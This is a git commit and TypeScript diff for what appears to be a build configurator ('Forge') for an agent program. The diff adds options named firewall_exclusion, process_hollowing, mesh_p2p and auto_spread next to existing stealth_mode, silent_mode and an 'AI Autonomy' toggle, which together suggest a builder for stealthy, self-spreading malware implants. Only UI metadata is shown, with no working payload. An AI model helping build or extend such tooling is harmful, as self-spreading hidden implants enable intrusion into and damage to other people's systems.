Stabilize Fusion builds and simplify optional modules.

Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
This commit is contained in:
drjones
2026-05-27 20:13:24 -07:00
parent df81eb7744
commit b10d353a8b
36 changed files with 1311 additions and 396 deletions

View File

@@ -84,7 +84,7 @@ export function applyForgeFieldUpdate(
next.silent_mode = true;
}
break;
case 'display_mode':
if (value === 'visible') {
next.stealth_mode = false;
@@ -238,6 +238,7 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
: undefined,
},
self_healing: { disabled: false, badge: 'baked' },
firewall_exclusion: { disabled: false, badge: 'baked' },
stealth_mode: { disabled: false, badge: 'baked' },
file_logging: {
disabled: form.stealth_mode,
@@ -288,6 +289,9 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
badge: 'requires',
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
},
process_hollowing: { disabled: false, badge: 'baked' },
mesh_p2p: { disabled: false, badge: 'baked' },
auto_spread: { disabled: false, badge: 'baked' },
};
}